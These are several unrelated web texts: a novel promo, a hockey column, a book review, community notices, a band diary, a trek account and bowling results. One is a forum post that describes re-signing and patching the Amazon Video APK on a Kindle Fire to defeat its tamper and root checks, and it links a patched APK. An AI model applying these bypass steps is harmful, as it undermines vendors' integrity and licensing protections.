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For some of us, they are silly or stupid things, even if they are embarrassing.
For others, they are…huge. The kind of things that end careers or relationships and people would do a lot to keep those secrets hidden.
But secrets sort of have a life of their own, coming out to haunt you when you least expect it.
That's sort of what happened in my upcoming release.
The title… shhhh… is F*CK CLUB: RILEY. The book series…well, F*CK CLUB.
The hero, Riley Steele, had a lot of things going for him…he was a great football player, possibly had a chance at going pro and was attending the University of Kentucky on a scholarship when his parents were abruptly killed in a car crash.
If it was just him, he would have been okay.
But he had a brother and sister back home, both still in school and there was a mountain of debt. He could either let them go to foster care…or step up and take over.
He was a Steele. He stepped up and took over taking care of them, and his college career, his possible football career…all gone.
After more than a year of bartending and working as a bouncer, he gets…propositioned by a woman who frequents the club where he worked.
It seemed like a no-brainer. More money than he makes in two weeks for one night in bed.
It wasn't like he expected it to turn into a career, but it did and it's easy enough to cover. He still worked as a bartender a few nights a week, and the rest…well, he was making the needed money to care for his family.
The story opens right as that's about to come crashing down, and in more ways than one. One of the guys who sort of joined in on his paid-to-pleasure gig said a little too much around a cop. There's a problem with one of his former clients.
And…the girl he loved in high school is abruptly thrust back into his life.
Riley doesn't particularly regret the choices he's made, but now, with Brianna back in his life, he has to figure out if they've got a snowflake's chance in hell…and if they do, how will she handle the secret life he's been living for the past ten years?
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It isn't a surprise that in the city of Pittsburgh sports aren't a past time. It's a religion with Steelers Sunday and Penguins hockey being the time of worship as we all huddle around a game for the sermon. We bleed our colors here. It's one of the things I love most about this city. It's just in our DNA, and in return our teams have rewarded us with championships.
We've grown used to it. So used to it that sometimes we forget how lucky we are. For example, we are so lucky to have a two-headed monster is our city. Seriously, how many other places can claim that?
Over the years this has become the standard. On a power play. Sometimes when we are behind and a coach decides to double up on talent. It has become normal and that is the most dangerous thing.
It's easy to forget that players like Sidney Crosby and Evgeni Malkin aren't owed to us. They are special. They love Pittsburgh so much that they both took pay cuts to stay here. And that needs to be engraved in our minds by any means necessary.
Either player, especially Malkin, could have left Pittsburgh to get more money and, in Malkin's case, he could have left Pittsburgh to be on the first line on another team. We have had other players do that and frankly I would not have blamed him.
He didn't though. And because of that for 82 regular season games a year (and more with playoffs) we get to watch two of the best players in the world light up opposing goals. They are ours and imagining them somewhere else is devastating.
What we need to do is remember this the next time they are in a slump. Fans tore Sidney Crosby apart at the beginning of the season because of his slow start. They demanded a trade for a guy that is Pittsburgh. It wasn't fair or just, and he deserved the same loyalty he has shown us.
And now? Sidney Crosby has 14 points in 8 games. He looks like himself and did the second that Mike Sullivan's system kicked in. Crosby's talent is rooted so much in how he views the game and how hard he works. There is not a single player in the NHL that works like he does at it. He's the best player but continues to practice like he still has so much to prove.
It wasn't a result of some random and sudden decline and frankly so what if it was? He can't be human and have rough patches? I know I have had many rough spots in my life and I am sure you have too.
So the next time Crosby and Malkin are slumping, go back and read this article. Always remember that Pittsburgh is the lucky one they chose. They too bleed black and gold.

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book review: Tides of War by Stella Tillyard
The basics: Set in 1812-1814 against the Peninsular War, Tides of War jumps back and forth between the battle lines and the lives of three women in London who cope with their husband's absences in different ways.
My thoughts: Had I not known Tillyard was a historian, I think I would have figured it out quite quickly. The opening scene of Tides of War is a delight: the reader meets Harriet, the somewhat precocious new wife of James, who is about to depart for war. Harriet is more concerned with science and experimenting, both of which her father introduced her to, than with domestic details. I was utterly engaged with Harriet and was excited to see her grow and develop. Far too soon, however, the action shifted to new characters and details. Tillyard introduces a plethora of characters quickly, and coupled with the excessive detail, the characters and plot get somewhat muddled. There was a map at the beginning of the novel, but as it simply covered major cities in Portugal and Spain, it wasn't terribly illuminating if you're aware of where their major cities are located.
In many ways, Tides of War is two different books. At times it reads like a novel, but at times it read more like straight history. I tend to gravitate toward historical fiction that explores a time period through the actions of its characters, and in Tides of War, I don't think the characters were always the focus. Granted, I knew little about the Peninsular War, so I did learn a lot and found much of it to be fascinating. Still, I wished the three women had been more of the story's focus. While I enjoyed glimpses into the battlefield, I didn't enjoy them as much. At the end of the novel, Tillyard included a list of characters based on real people. Seeing how much Tillyard used reality to shape her story was impressive, but I wished she would have included this list at the beginning to help me get to know all of these characters.
Favorite passage: "The English rated politeness far too highly; any man could bend and produce a smile."
The verdict: Tides of War has an extensive cast of characters, both those based on real figures and those from Tillyard's imagination, but ultimately, I appreciated the effort of Tillyard more than her novel. There were glimpses of greatness, but the scope of this novel was its downfall. Readers who appreciate historical detail and lots of characters will adore it, but those of us who prefer a character or plot driven narrative will likely only enjoy parts of it.
Rating: 3.5 out of 5
Length: 346 pages
Publication date: October 25, 2011
Source: library
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"The English rated politeness far too highly; any man could bend and produce a smile." makes me smile... Yes any man could bend and produce a smile, politeness is overrated! :) I'm not sure if I like too much detail reading now, I think a novel has to enthrall and engage its reader as well. Thanks for the review!ReplyDeleteReplies
Yes--there were quite a few funny lines buried beneath the details in this one. I am eager to see what Tillyard will do next.Delete
I don't think I would enjoy this one very much, as I tend to lean more towards historical fiction that is not so heavy on the history, but on the characters instead. I also think the abundance of characters would get confusing in that they are all introduced so quickly. This was a very perceptive review, and I enjoyed reading your take on it. Very nicely done today!ReplyDeleteReplies
Thanks, Zibilee. I agree with you about historical fiction. I want to think of a time and associate it with a character, and while there were some flashes of that here, it was more of a history.Delete
I have this one, but I've been on the fence about it. Your review kinda cements the fence. lolReplyDeleteReplies
Andi--it was one I would not have read if not for the Orange Prize, and while I'm glad I did as I enjoyed parts of it, it's not one I can enthusiastically recommend.Delete
I felt much the same way as you and have to admit to finding it hard to keep track of where they were and who was fighting who in the war sections. I was much more interested in Harriet and her moves towards independence.ReplyDeleteReplies
Sam--it really felt like a tale of two novels, didn't it? Or perhaps one novel and one history intermixed. I would have loved to see it all through Harriet's eyes. She was such a dynamic character!Delete
Boo -- the premise of this one sounded so good -- but the way you described it, I think it wouldn't work for me either!ReplyDeleteReplies
If you did read it, I might recommend skimming of certain parts!Delete


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Chester FC's players gave a festive performance as the role of Father Christmas as they dropped in at the Countess of Chester Hospital's children's ward to distribute toys and gifts donated to the Chronicle-backed BiG Storage Toy Appeal.
This year's BiG Active Toy Appeal has seen a great deal of toys donated so far as the target of 5,000 new toys and gifts as well as sporting equipment gets closer.
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*The massive chest of Taylor Stevens couldn't save her beloved L.A. Kings from playoff elimination. With the Kings down to the Chicago Blackhawks 0-2 she offered up her boobs in hopes of distracting the boys from the Windy City.
Yeah, her knockers failed to save the day. The Hawks won the series four games to one.
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Exclusive Artist Diary with ... DEAD LIKE HARRY - March 9, 2009
By returning to Sheffield and to Cherry Street, we had begun a whole new journey.The industrial heart of Englands Steel City may have been broken and abandoned long ago, but Sheffield is now re-emerging once again as an industry powerhouse, only this time in music. Pulp, Richard Hawley and Arctic Monkeys have recently led the way, and now its the turn of exciting young hopefuls Dead Like Harry to fire up the citys musical furnace.
True to their home citys working class soul and music heritage, the recent Artist of the Week pride themselves on their honest, from the heart storytelling, and their inspiring rock and pop sound is enriched by touches of blues, country and folk.
Currently at hard work on recording their new album with esteemed Sheffield producer Alan Smyth, songwriting brothers Sam and Matt Taylor spare a few precious moments to pen an exclusive Artist Diary for HitQuarters. Studio time, career aspirations and the highs and lows of their musical journey to date are all included, as are their dramatic encounters with the dreaded bag of death.
By Matt and Sam Taylor
Were halfway through the first week of recording for our new album. It was a pretty heavy day yesterday 12 hours in which we recorded almost continuously. Adam, our drummer, has blistered hands and Ive no idea how Alice managed to keep her singing voice for that long. Still, although it was a tough day for everyone, we made a great start and the atmosphere seemed a lot more relaxed this morning, knowing that wed got a lot of drum, bass and piano parts down on tape.
Towards the end of last year, after getting over 50 gigs done between April and October, wed saved up a bit of a slush fund that hadnt been spent on accommodation, food, petrol and van hire. It was obvious that we needed to get back into the studio and try and capture the songs we had been writing and performing over that period.
When me and Sam, my brother and co-writer of ten years, sat down to have a look through the material we had performed at the 2008 gigs, we noticed that, unintentionally - though probably subconsciously - we had written a narrative of the bands recent experiences. These had reached a low point at the start of the year after a particular project and collaboration we had spent 9 months working at had failed to work out.
I think we tried to take a positive slant on the whole experience and decided to spend the whole year taking our songs and our live show to as many people as possible. We managed to bag several big festivals as well as travelling to all corners of the country.
Arriving at Cornbury Festival and parking between The Bangles and Paul Simons tour bus was a highlight. It was amazing to be a part of a festival with such prestigious acts headlining, and real experience to play on the same bill as some of those who inspired us to write songs in the first place.
We played in sunny fields, under wet marquees, on stormy beaches, in large night clubs, sharing stages with bands as varied as Scouting For Girls and Show Of Hands, as well as in numerous darkened city-centre live music venues. On our travels we started to put our experiences down into some sort of musical diary.
50 gigs and nearly 10,000 miles for an unsigned band is a lot of work for one year, especially when trying to contend with: parking in central London; 2 band members crashing their cars into the bass players Skoda at the same gig; our equipment being submerged in a muddy field at Glastonbury; a spring tide stranding our gear on the beach at Scarboroughs Beached festival; drunken drummers and grumpy keyboard players; as well as the ever-present loading/unloading hazard of the bag of death.
After several close shaves with this strangely shaped and extremely heavy container we decided to swap the bag of death for two boxes of mild discomfort. As recently as last month and at Alices request, these boxes were dissolved into four briefcases of almost mild pleasure. However, I have digressed and this is a story for another article.
Working with promoters all around the country has been a really good experience. Having no booking agent means that we have had to book every single gig we have played ourselves. Being on the front line and cutting the deals with the promoters was a useful experience but something I would be glad to pass on to an experienced agent. We have already booked in festivals for this summer and currently look set to play our first show outside of the UK!
In May 2008, we released our debut EP When We Were 17 on iTunes through the student company Syllabus, and then followed this with our single Fight. We followed this up with a good press push, which was aimed nationally for the first time.
A big music lawyer contacted us and is helping guide us through the industry and that is a useful contact that we can call on. It gets difficult sometimes to know whether you are making the right decision or not and I would suggest having either The Musicians Union or a music lawyer there to help protect your interests. Obviously lawyers come at a cost, but it is always worth being a member of the MU.
We have showcased to many major labels in London this year and have realised that showcasing and meeting the A&R in the industry is just another part of the big picture. When you are starting out in a band you dream of the day Universal or Sony come to see you play. But when it happens you realise you will probably have to play to quite a few A&Rs before you find the person who understands your music.
Although we are still self-managed, releasing our material on a very low-key level and booking our own gigs, we feel it can only be a matter of time until the right people come along. They are invaluable and it is nearly impossible to take a band to a professional level on your own. However, it is not impossible to get a band out there and gigging and releasing music regardless. That is what we have achieved and experienced over the last year and this year Im sure will just get better!
The money we saved this year from gigging and merchandise was not enough for a full album studio session, but we managed to strike a very interesting and exciting deal with producer Alan Smyth, whom we had worked with before, and who has recorded bands such as Pulp, Arctic Monkeys, Richard Hawley and Reverend and The Makers.
When youre recording at his Sheffield-based 2 Fly Studios, hardly a day goes by before some local pop legend pokes their head in the door. Know where I can borrow a banjo from? Jarvis Cocker once enquired.
Well, it turns out our old collaborator Alan and his co-producer Dave Sanderson had found an old factory space they wanted to renovate and turn into a new studio. This is the kind of thing thats happening behind the old red brick walls of Sheffields industrial quarters. When I was a kid in the late 1980s, Sheffield wasnt the prettiest place. With a lot of its industry dead, there were many empty shells of buildings with dark interiors and broken windows.
Things have since changed and are continuing to change, often surprising speed. The arts sector has become a large employer in Sheffield and one of the most exciting things about this is the amount of music now pouring out of this city. In 2009, if you walk through these areas of disappeared-industry you are likely to hear the sounds of bands all day as the old factory spaces start production once more this time producing music.
We made a deal with Alan that we would renovate and build the studio over autumn 2008 in return for enough studio time at the start of 2009 to get our album recorded. And here we are
We spent Christmas rehearsing and preparing every part of the album. We wanted it to be the real deal the best possible album we could make. We wanted a thematic feel to both the lyrics and the music. It had to tell our story in both of these mediums without compromise. The next few weeks will tell if we have got it right.
I think the events of the last year and a half have brought the six of us together. We have had highs and unfortunately weve seen some real lows. We know were still on that journey together and that we have a lot to offer. The six of us have become very close friends. With Alan Smyth and Dave Sanderson on board for the project, we feel sure that we are going to get back on the road in the summer to promote a special album and tell our own story on our own terms.
We are aware that in the current climate many bands are recording albums that are almost just a collection of singles that, when put together, make a disjointed muddle of songs. Perhaps these albums are just reflective of an iTunes generation of songwriters?
We came into the studio wanting the songs on the album to work as singles after all, this is a business and we need to make money to survive and progress. The album has to be attractive to record companies. They have to be able to market the album through radio. But at the same time we didnt want it to be a collection of unconnected short stories. A good album has to be a book, where each song is a chapter, that can stand alone and be a potential single while still being part of the whole story.
We are sure of one thing the album ends with a song called Cherry Street, in which the girl and the boy that went off on their journey at the beginning of the album return home. Cherry Street is the name of a road near to the studio Im sitting in now. We wanted to name-check a few places we grew up playing gigs in at The Boardwalk, down in the city The song reaches a false climax in the middle section before dropping away and becoming reflective. For a while we feared we were coming to the end of something.
It soon became apparent that by returning to Sheffield and by returning to Cherry Street we had begun a whole new journey. We wrote the closing lines of the song knowing they would also be the closing lines of the album:
Down on Cherry Street the lights are shining. The world is waiting there.
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The primary objective of the Washington Lions Club are sight programs and service projects for our local community; we still manage to have fun, even while working on these projects. We hold several functions throughout the year that are primarily social events and are designed to encourage camaraderie among members and their families. Evening steak dinners, annual fish fry, Christmas party, fair appreciation party, and scholarship banquet are some of the social events sponsored by our Club. Spouses, family and guests are always welcome and encouraged to attend.
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The couples at our recent annual couples' retreat were tremendously blessed and encouraged through the materials used – the newly released video conference by Family Life Ministries entitled The Art of Marriage. All are so enthusiastic about the material and convinced of the blessing that it can be to others that we made special plans to set up a Friday evening and Saturday just at the church when we can have another conference for as many couples as possible, both from inside and outside the church.
May 20 and 21 has been identified as the weekend for this! We have begun taking registrations for this weekend from interested couples – both married and engaged. A $40 registration fee will enable us to cover the books, plus some food.
Don't miss it!
To see a video intro, click here!


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Four trekking aspirants meet up to enthusiastically climb the deterministic altitude with little awareness of the terrain in the offing at 15:45 in Thiruvannamalai, with a quick purchase of essentials an auto was bargained for 350 bucks for a clear way to Kadalagdi, the choosen difficuty level two of three known routes this route demands a 3 hour trek. Loaded with enough water for the summer evening is quite heavy, as we are transported to ashrams foot hill we counted time to tick 4:50pm - a lag of 50 mins against planned schedule, with three souls on bare foot and the other on trek shoe, along on the flat solid ground the view of the mountain was clear in sight - our spirirt stands high as that mountain stands High.
Our chase was active and gaining momentum, as the elevation began - we started to breath in sound and hearts started to knock, our strong men are making way high and gaining views of the vast plains estimating the distances covered in percentages, with diminishing light - the pace detoriated then quickly charging up with Liquidated glucose, killing baggage
weight by consuming some of the eatables from the heaviest baggage, and lime diluted in water are some of the attempts to pick up the lost momentum, with some significantly longer breaks four spirits made out of the valley where we began, as twilight diminshed to its least and plains lighted up like stars around - now the terrain chase was managenable and comfortable, reached a junction point of the easy route and where our route meet. a shop installed at the junction offerrs some herbal soup (meant to aid the knees) it was good, we took a short break - it was dark now and time to test our lighting equipment we
are four we have three in hand - we lighted up all as the route seemed invincible in dark, changed to comfortable clothing, lighted up my booster and made quick progress to the point where ironed staircase are installed, they are inclined almost 80-85 degress from horizon, they seems hard drilled into rock, the concern is am lone and if bag clutches with any of the sporadic iron rods I would surely end up in panic, so took the care of assessing my bag as I maneuver along the stairs, though it did not seems very difficult but the inherent risk was infact high.this was barely 8-12 mins with not many halts reached out for the plain like walkway, soon an uncarved rock is the path to take with guided drilled iron supported rods, all way of path painted in white probably to avoid misleading at night and sooth out intense buring heat at day, ahead there was a kind of pin turn, and tall rock like wall at right and deep valley on left guarded with necessary rails at floor for grip and deep valley side too, with
many steps uphill a narrow passage between the huge boulder rocks. and little more rock climbing takes to the summit of parvathamalai.
Turn towards left the ashramam and straight path leads to the Shivan temple, the facility was sufficient for night stay (provided there is no crowd), we experienced and short drizzle of rain enough to get completely wet, had our food in ashramam, and filled the rest with eatables carried all way up, it was a day next the full Moon in deed it was cusp and the lovely remained illuminated
98%, some of us slept outside ashramam, a lovely scenry of the plains and great silver light shinning in full and the clouds epleted with time, huge gusts of wind overthrowing our blankets suddenly, people arent steady they comeby take a short nap and proceed back downhill in dark, ideally 1-2 days before and including full moon would be a great choice to trek, whoever prefers to night trek this marvellous Hill.
It was early hours the twilight taking up skies to rule our day down hill trek, at 5:45 we began... it was comfortable and very breezy soaked our throats with coconut waters, in no time reached below iron stairs, we made time to capture some pictures, there begins the slow motion agenda - fragile human bodies fighting way down pain, then a great idea tickles down in the mind of a most noble person, with great lady executer in no time prepares a shoe and supportive stick we expressed our gratitude for our rescuer, and proceeded slowly down hill in 2 groups had a kind of hill breakfast, it was now 10:00 an overshoot in time, the ground was hot and burning the bare foot, it was tough time manageing the heat we all four pillars of this trek met at 2:00pm, on sunday in a real sunny day, In our completely retarded state - we made some fruitful negotiations to make a move our way to bustand. it was long but we made it by 12:35pm, alighted our bus to Thiruvannamali with all gossip, had satisfactory lunch and dispersed in two groups directed towards Chennai and the other towards Villupuram.
Heat of the summer sun subsided as rains chase our bus, to a great surprise Chengalpattu was flooded in rain, with drains
overflowing the streets, refilling the demanding stomach at Tiruporur reached home at 9:00pm, with a bath went flat on bed.
If I have a chance - love to take up a diffcult route to scale this peak again.... this Trek is all fun...


text: PaulOBrien 1,476 Report post Posted January 13, 2012 So it's a bit rubbish that you can't use Amazon Video on your Kindle Fire if it's rooted. I don't want to steal movies, crack DRM or anything else, I just want to have a rooted device to use with my Amazon Prime VOD feature. Bit harsh imho. Sooooo.... I thought i'd have a poke around and see what I could find out. What I found was a very complex web of protection on a scale above anything i've seen an Android app before. Not only does the application check for root in more that one location (in the application itself and in the native library), it also performs tamper detection on the APK. Not only that but it also checks that the signature on the APK to check that no code has changed (if you change the code in classes.dex and drop it in, this is usually OK on a /system/app file, but not in this case). The code itself doesn't have a single, uniform tamper / root check function, it does it all over the place. Finally, just to make things even more difficult, key parts of the code are pretty heavily obfuscated to make the code hard to analyse / modify. Despite this, I thought i'd see what I could achieve by patching it piece by piece with the goal of allowing video with root. The first step was to work out how to get around the signature check. Without sorting this out, the app would immediately flag up as being tampered if I made ANY change to the code. The answer to this was to re-sign the Amazon Video APK, ATVAndroidClient.apk. Of course we don't have the Amazon certificates, so we can sign them with our own, or with SDK certificates. Since Amazon Video uses a shared user id, other APKs need to be signed too. The full list is ATVAndroidClient.apk, KindleForOtter.apk, OtterTutorial.apk, AmazonVenezia.apk, Launcher.apk, Windowshop.apk, CSApp-unsigned.apk, MyAccount-unsigned.apk, amazonmp3-unsigned.apk, Cloud9-unsigned.apk, OOBE-unsigned.apk, com.amazon.dcp.apk, Cloud9SystemBrowserProvider-unsigned.apk, OTASilentInstall.apk, Facebook.apk and OtterAppManager.apk. After doing this, the next step is to patch out the tamper checks. This can really only be achieved by tracing where the app goes and how it works and by carefully analysing logcat to get clues as to where the errors are happening. Since i'm in the UK I also had to use a DNS proxy with a static IP... I used unblock-us which works a treat. Eventually I got to a stage where I got the application to ignore any tamper detections, thereby enabling the various 'Watch' buttons. In the next step I could see what something was triggering another problem, and it turned out to be detection of root. This was happening in one of the more obfuscated bits of code, but again with careful tracing I managed to find this and patch it out. At this point the application was loading, passing tamper checks, giving me the watch buttons, requesting the stream from Amazon and giving me the loading progress bar etc... BUT... the licence request to Amazon continually failed. This is the point where I came to something of a brick wall. It appears that there is some additional root checking going on in the native library, and unfortunately, reverse engineering this is beyond both my abilities and more important the time I have available, so we don't have a fully working solution. :( The positive things though are that we now have a patchable Amazon Video APK, which means we can implement the functionality of the 'root keepers' within the app itself. We can effectively make the Amazon Video APK hide the su binary from itself on launch and put it back after it's run it's checks. Not ideal, but might be the best way to go. Note that the root check doesn't care about the Superuser APK, it only checks for 'su'. It checks in all the locations in the PATH variable, so moving it to, say. /system/root and adding that to the path won't help. Unfortunately. For now, I have to put this on the back burner, but i'm posting my patched APK below so that if anyone wants to pick up the work of reversing the native binary they can do so, simply by using this APK and re-signing it and the other APKs mentioned above. Any questions, feel free to ask them here. Obviously I have no interest in saving streams, downloading movies or any stupid stuff like that, so don't even ask. P DOWNLOAD (ROMraid) - MD5: f6044dbeffa4eb3f8361c71a96683150 1 Quote Share this post Link to post Share on other sites


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haha! those things are so hard to get the straw in right.
Did you do my "stick" last time a gave blood?
LOL! I've done that before! I actually have to squeeze the bottom a little bit to make sure it'll go straight down when I insert that straw rather than through the bag! I'm glad I'm in good company :)
my husband does that every single time!!! great post!
still lifting ya all up in pray
Oh girl... I have been there too! Shoot I have done it, handed it to a kid, and walked away.
Oh man I have done that same thing. But Chris is the worst with that because of the work he does, he doesn't have the best feeling in his hands so doesn't realize how hard he is doing things. I cannot open anything he closes and he is constantly replacing the O Rings in our faucets because of how hard he turns them lol.
Haha!! I've done that too. And on the flip side, I have spent a good 5 minutes trying to get the darn straw to go in in the first place. (dh thought that was hilarious of course). Ack!
I've done that too many times before...while squeezing it at the same time. So...you can imagine the mess!
You are so not alone in this; I've done it, too --except I didn't take pictures and put it on the blog! ;p
Yes, I will definitely try to plan better (or rather, hopefully, my kids will let me plan better) next time, so we could meet up! :)
you would think after all these years they would find a better way to put those straws in!!! When my kids were little, I can't tell you how many I had to "transfer" to a glass or have them squeeze it into their mouths!!
Ha, ha! Love this:)!!!
Lol! Oh I used to have the hardest time with those things
Like you and almost all of your commenters I have done this too. I'm thinking an LOI is in order to the pouch drink makers so they can fix this problem. :)
LOL I'm terrible at those things!
HA! HA! I hate those type of pouches for that very reason.
I hate those things. For a "mess free" drink they are so stinking messy!
Hahaha, why do they make those so DIFFICULT?!
Oh my gosh, my son hasn't tried those yet, but I used to work at day camps, and those things are crazy hard to get into properly!!!
Been there. Done that. We NEED a tshirt! hahaha... I hate pouches! At least with the juice boxes, you can make "wings" for the kids to hold on to so they don't squirt the darn things everywhere. Could we all just go back to cartons of juice and cups? *crickets* no? nevermind.
what!! Yet another blog post without a photo of Itty-Bit?!! I'm fainting from withdrawl!
Oh heavens this cracks me up! (only because I've been there, done that, had to cut the corner off and pour it into a cup...)
The person who invented those HAS to be a guy, I just know it :p
Oh, unparenting fail too! I failed at those as a kid too, I told my mom is was b/c she never bought them so I had no practice!
Yea!!!I am not the only one!!! I give up on those drink pack things. Thank you for your comment over at my place. I will pray for your little's eye surgery. blessings-Joy
Dang. I HATE those things. They're known as "juice fountains" in my house. We now put the straw in and then squeeze the juice into a cup. That way, there are better odds the juice won't end up on a freshly mopped floor.
Hi Rachel! Thanks for visiting my blog...it's nice to meet you! I have just spent the last 30 mins. reading your blog- I love it! We have much in common! I'm hard of hearing. Your little guy is so CUTE!! I look forward to following you!
We curse that particular sort of juice box. Seriously poor engineering, probably purposefully intended to drive mothers across the nation insane.
Girl, I do that ALL the time. Doodles has decided I am not allowed to open pouches LOL
Haha. I do that almost every single time. 99% of the time, I never buy these because of this and kids accidently squeeze and juice shoots straight up! Good post!
LMBO!! That is hilarious!
Great pictures! :) I almost did a similar thing with some Capri Lemonade.
I needed this today! Thanks!
HA! I've done that wayyy too many times
Awesome. Those have the stupidist design in history. They should re-inforce the back panel!
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"The jar of meal will not be emptied and the jug of oil will not fail" I Kings 17:14. Ana Hinojosa remembers growing up on the Texas-Mexico border near Brownsville in the late 1980s. Her family's house...[read more]
"The jar of meal will not be emptied and the jug of oil will not fail" I Kings 17:14. Ana Hinojosa remembers growing up on the Texas-Mexico border near Brownsville in the late 1980s. Her family's house...[read more]
Only when Babylon's 70 years are completed will I visit you, and I will fulfill to you my promise and bring you back to this place. – Jer. 29:10 Just after the Korean War in the 1950s, Hyung Gon Lee was a...[read more]
Come to me, all you that are weary . . . and I will give you rest. — Matt. 11:28 "I always pray, God, please protect us today." Rima Absi is speaking about the rocket fire in Damascus, Syria. She is...[read more]
And let the peace of Christ rule in your hearts, to which indeed you were called in the one body. — Col. 3:15 On Easter morning in April 1528 in Augsburg, Germany, almost 100 Anabaptists were rounded up by...[read more]
Do not oppress the widow, the orphan, the alien, or the poor; and do not devise evil in your hearts against one another. (Zechariah 7:10) Mennonite Central Committee U.S. decries the executive actions on...[read more]
Silent night, holy night, All is calm, all is bright Round yon virgin mother and child. Holy infant so tender and mild, Sleep in heavenly peace. Sleep in heavenly peace. Exactly 200 years ago, in the...[read more]
As stories of harm within our faith communities increase, Mennonite Central Committee is committed to speaking out against sexualized violence. Sexualized violence is physical or psychological violence carried...[read more]
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How long, O God? Will you forget me forever? — Psalm 13:1 A few days ago, I arrived in Lebanon from where MCC staff work with a dozen partner groups in Lebanon and Syria. It has been several years since...[read more]
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Glasshoughton Welfare Bowling Club beat Pudsey BC in the final of Yorkshire's Eric Hutchinson Memorial Trophy at Outwood WMC, on Sunday.
With the first four jacks completed, Glasshoughton were up against it. They trailed by 30 points and had only one winner.
The second four bowlers then took to the green and three of them won to cut the deficit to 23 points.
After a break because of torrential rain, the final four bowlers swung the match Glasshoughton's way.
Mo Chambers beat her opponent 21-5 with some excellent long length bowling. When Rob Lloyd won 21-11, the game was back in Glasshoughtons favour.
Brian Clarke was pipped 21-15, leaving the outcome of the final in hands of Stuart Thompson who won 21-15 to give Glasshoughton a 205-202 victory.
RESULTS (Glasshoughton players named first): D Thomas 13, S Watson 21; A Hagen 15, S Hanson 21; G Robinson 3, D Hilliam 21; M Brain 21, L Rice 19; A Box 21, D Crawley 13; Ryan Lloyd 21, R Hodgson 18; J Brain 12, R Matthews 21; A Webb 21, T Lawrence 15; Rob Lloyd 21, K Rankin 11; M Chambers 21, D Davis 5; B Clark 15, D Beardsworth 21; S Thompson 21, P Cousins 15.
On Saturday, September 5, eight Castleford and district champions will compete for the end of the season Champion of Champions Trophy at Pontefract BC (6.30pm start).
Battling it out will be Rob Lloyd, Ryan Lloyd, Mark Harrap, Darryl Harrap, Josh Thomas, Eunice Riding, Val Bradshaw and Christine Sutcliffe Dress code applies.
The final of the first of Castleford and District Veterans Association's team competitions, the Len Pickersgill Cup, takes place at Methley BC on Friday, September 4 (1.30pm start) between Swillington A and Valley Gardens A.
The Alan Hardisty Challenge Cup final will be the following Friday (September 11) at Queens Park BC, Castleford (1.30pm start) when Glasshoughton A and Sherburn A (+12) lock horns. Dress code applies for both finals.
Savile Park are in pole position in Castleford and District Crown Green Bowling Association's Saturday League Division One.
Savile are 11 points clear of closest rivals Fryston, with Castleford Town B a further 14 points adrift in third spot.
Glasshoughton have taken over from Smirthwaite at the top of Evening League Division One.
Glasshoughton lead Smirthwaite by 26 points and also have a match in hand.
Valley Gardens A have a 39 point lead over Townville in Division Two.
Pairs League leaders Glasshoughton are 144 points clear of second-placed Queens Park.
Latest positions:
Division 1: Glasshoughton A played 17, won 16, points 2659; Smirthwaite A 18-14-2633; Queens Park A 18-11-2577; Pontefract A 17-10-2478; Pontefract B 18-7-2401; Castleford Town B 17-9-2367; Hawhill Park A 18-6-2340; Allerton Bywater A 17-8-2324; Ferrybridge A 18-6-2280; Glasshoughton B 18-4-2239; Savile Park 17-7-2232; Fryston A 17-6-2159.
Division 2: Valley Gardens A 15-13-2328; Townville 15-13-2289; Allerton Bywater B 15-9-2107; Hawhill Park B 16-4-1933; Ferrybridge B 15-7-1927; Smirthwaite B 13-10-1923; Featherstone A 14-7-1900; Queens Park B 14-4-1843; Pontefract C 15-6-1801; Valley Gardens B 14-0-1399.
Glasshoughton 19-18-1515; Queens Park B 19-12-1371; Queens Park A 18-14-1370; Allerton Bywater 18-11-1335; Valley Ridge 18-14-1325; Townville 18-12-1277; Featherstone 19-9-1266; Valley Gardens 19-8-1245; Ferrybridge 19-3-1068; Kippax 18-3-1063; Methley 18-3-1030; Hawhill Park 19-1-879.
Division 1: Savile Park 13-7-1868; Fryston 13-7-1857; Castleford Town B 13-6-1843; Glasshoughton A 12-11-1817; Pontefract A 12-11-1810; Allerton Bywater A 13-8-1804; Townville 14-3-1724; Ferrybridge 13-3-1708; Valley Gardens 13-0-1451.
Division 2: Pontefract B 12-8-1673; Queens Park 12-6-1641; Featherstone 12-6-1582; Smirthwaite 11-5-1530; Hawhill 11-4-1324.
Premier: Rothwell BC A 16-13-1814; Pontefract A 17-10-1796; Cas Town A 16-9-1710; Garforth CC A 16-8-1686; Glasshoughton A 16-9-1684; Garforth Rec A 17-6-1682; Colton A 17-9-1674; Smirthwaite A 16-9-1663; Queens Park A 16-8-1642; Valley Ridge A 16-6-1581; Kippax A 17-3-1539.
Section A: Allerton 15-10-1696; Townville 15-9-1601; Hawhill Park A 15-8-1587; Savile Park A 15-9-579; Sherburn A 15-6-1567; Pontefract B 15-7-1540; Glasshoughton B 15-7-1536; Ferrybridge A 14-9-1471; Methley A 14-5-1410; Colton B 15-3-1300.
Section B: Swillington A 15-11-1686; Valley Gardens A 15-7-1547; Cas Town B 14-11-1546; Rothwell Park B 15-8-1520; Rothwell BC B 14-9-1497; Woodlesford A 15-9-1495; mirthwaite B 15-3-1419; Rothwell Park A 14-9-1405; Aberford 14-4-1276; Swillington B 15-2-1269.
Section C: Featherstone 14-11-1561; Garforth Rec B 14-8-1536; Garforth CC B 14-9-1455; Queens Park B 13-8-1430; Ferrybridge B 13-9-1318; Hawhill Park B 13-6-1289; Sherburn B 13-3-1267; Valley Ridge B 13-5-1264; Valley Gardens B 13-1-1117.
Division 1: Ossett Flying Horse 12-12-1462; Garforth Rec 13-5-1205; Pontefract 12-6-1172; Methley 13-5-1171; Wakefield 12-3-986.


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Be a good little girl.
Be nice.
Mind your manners.
Take turns.
Put others first.
Don't rock the boat.
Smile nicely.
Be polite.
You learned them all so well. Too well, I'll bet.
These weren't just words to you. They defined you. You became such a good little girl, so cooperative, so nice to have around. So responsible, so predictable. So nice.
You learned that to embody these qualities, to make them your own, was to be loved. And to be loved was all that you wanted.
The more you embraced these qualities, the more smoothly everything went. The more you were loved by the people that mattered. The more they came to expect nothing less from you. The more ingrained their image of you became.
It's why you can't change things up on them now.
What will they say? What will they think? What will they do? You can't take that chance.
Oh, you've tried. Just a little test to see what would happen.
Maybe you disagreed with something you used to agree on when you changed your position. Or you said no instead of the usual yes. You spoke your own truth instead of going along like you always did with what they wanted you to believe.
No, they didn't like it. They didn't know what to make of it. They didn't know what to make of you.
Whether it was the disappointment or the withdrawal of some level of love, you felt it. I can't do that again. That was what you learned. And like everything else, you learned it well.
And so you didn't.
I've learned a lot about boundaries over the years. First, I learned that I was allowed to have them at all. And then when I went about trying to create them, I learned it was one of the hardest things I'd ever done in my life.
To create boundaries where there were none before.
